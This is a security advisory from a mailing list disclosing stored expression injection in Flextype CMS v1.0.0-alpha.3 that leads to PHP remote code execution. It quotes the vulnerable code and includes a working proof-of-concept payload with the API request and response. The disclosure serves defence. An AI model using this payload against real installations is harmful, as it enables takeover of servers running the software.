Flextype v1.0.0-alpha.3 Stored Expression Injection Enables PHP Remote Code Execution
Full Disclosuremailing list archivesFrom: Ron E <ronaldjedgerson () gmail com> 2026-9-4 00:13:15 Author: seclists.org(查看原文) 阅读量:3 收藏

fulldisclosure logo

Full Disclosure mailing list archives


From: Ron E <ronaldjedgerson () gmail com>
Date: Sun, 30 Aug 2026 22:54:00 -0400

Description

Flextype CMS v1.0.0-alpha.3 contains a stored code execution vulnerability
caused by the interaction between globally processed entry expressions, the
mutable registry object exposed to expressions, and the PHP entry directive.

Attacker-controlled entry fields are automatically processed as expressions
during entry retrieval. The expression environment exposes the
application's mutable registry() object, allowing an expression to modify
Flextype runtime configuration.

An attacker can use a stored expression to enable the PHP entry directive
and place an @php directive within the same stored field. Subsequent
directive processing reaches PHP eval(), resulting in execution of
attacker-controlled PHP code within the Flextype process.

Testing confirmed execution by returning the server's PHP version as
STORED_RCE_8.1.34. Retrieving the stored entry again caused the payload to
execute again, demonstrating persistent server-side code execution.
Impact

 An attacker capable of creating or modifying affected entry fields can
execute arbitrary PHP code within the security context of the Flextype
application.

This may allow complete compromise of application confidentiality,
integrity, and availability, subject to the operating-system permissions
assigned to the PHP process.

Because the malicious directive is stored within entry content, execution
can occur again when the affected entry is subsequently processed.
DetailsMutable Registry Exposed to Expressions

Flextype exposes the application registry to the expression environment:

return [
    new ExpressionFunction(
        'registry',
        static fn () => '\Flextype\registry()',
        static fn ($arguments) => registry()
    )
];

This returns the mutable application registry rather than a restricted
read-only representation.
PHP Directive

The PHP directive first determines whether PHP processing is enabled:

if (! registry()->get('flextype.settings.entries.directives.php.enabled')) {
    return;
}

When enabled, entry content containing @php reaches eval():

if (strings($field['value'])->contains('@php')) {
    ob_start();

    eval(
        strings($field['value'])
            ->replace('@php', '')
            ->trim()
            ->toString()
    );

    $field['value'] = ob_get_clean();
}

Proof of Concept

The following stored entry value first enables the PHP directive through an
expression and then supplies PHP code:

[% registry().set('flextype.settings.entries.directives.php.enabled',
true) %] @php echo 'STORED_RCE_' . PHP_VERSION;

It was submitted through the Entries API:

POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18086
Content-Type: application/json

{"token":"lab-token","access_token":"password","id":"stored-rce-proof","data":{"title":"[%
registry().set('flextype.settings.entries.directives.php.enabled',
true) %] @php echo 'STORED_RCE_' . PHP_VERSION;"}}

Flextype returned:

HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8

{"title":"STORED_RCE_8.1.34","published_by":"","created_by":"","uuid":"11eef64f-890a-40ef-8711-b57937677c82","content":"","slug":"stored-rce-proof","published_at":1788143638,"modified_at":1788143638,"created_at":1788143638,"routable":true,"visibility":"visible","id":"stored-rce-proof"}

The value:

STORED_RCE_8.1.34

demonstrates execution of the attacker-supplied PHP expression and access
to the runtime PHP_VERSION constant.
Persistent Execution

The stored entry was subsequently retrieved using a normal entry request:

GET /api/v1/entries?token=lab-token&id=stored-rce-proof HTTP/1.1
Host: 127.0.0.1:18086

The response again contained:

STORED_RCE_8.1.34

demonstrating that execution is associated with stored entry processing
rather than requiring the complete PHP payload to be supplied during the
triggering GET request.
Root Cause

The vulnerability results from the interaction of three unsafe trust
decisions:

   1. Attacker-controllable stored entry fields are interpreted as
   executable expressions.
   2. Expressions have access to the mutable application registry.
   3. The PHP directive executes processed entry content using eval().

This permits stored data to modify the security setting intended to disable
PHP processing before the PHP directive processes the same
attacker-controlled content.

Ron Edgerson
Vulnerability Researcher & Exploit Developer

CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development

🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Current thread:

  • Flextype v1.0.0-alpha.3 Stored Expression Injection Enables PHP Remote Code Execution Ron E (Sep 03)

文章来源: https://seclists.org/fulldisclosure/2026/Sep/24
如有侵权请联系:admin#unsafe.sh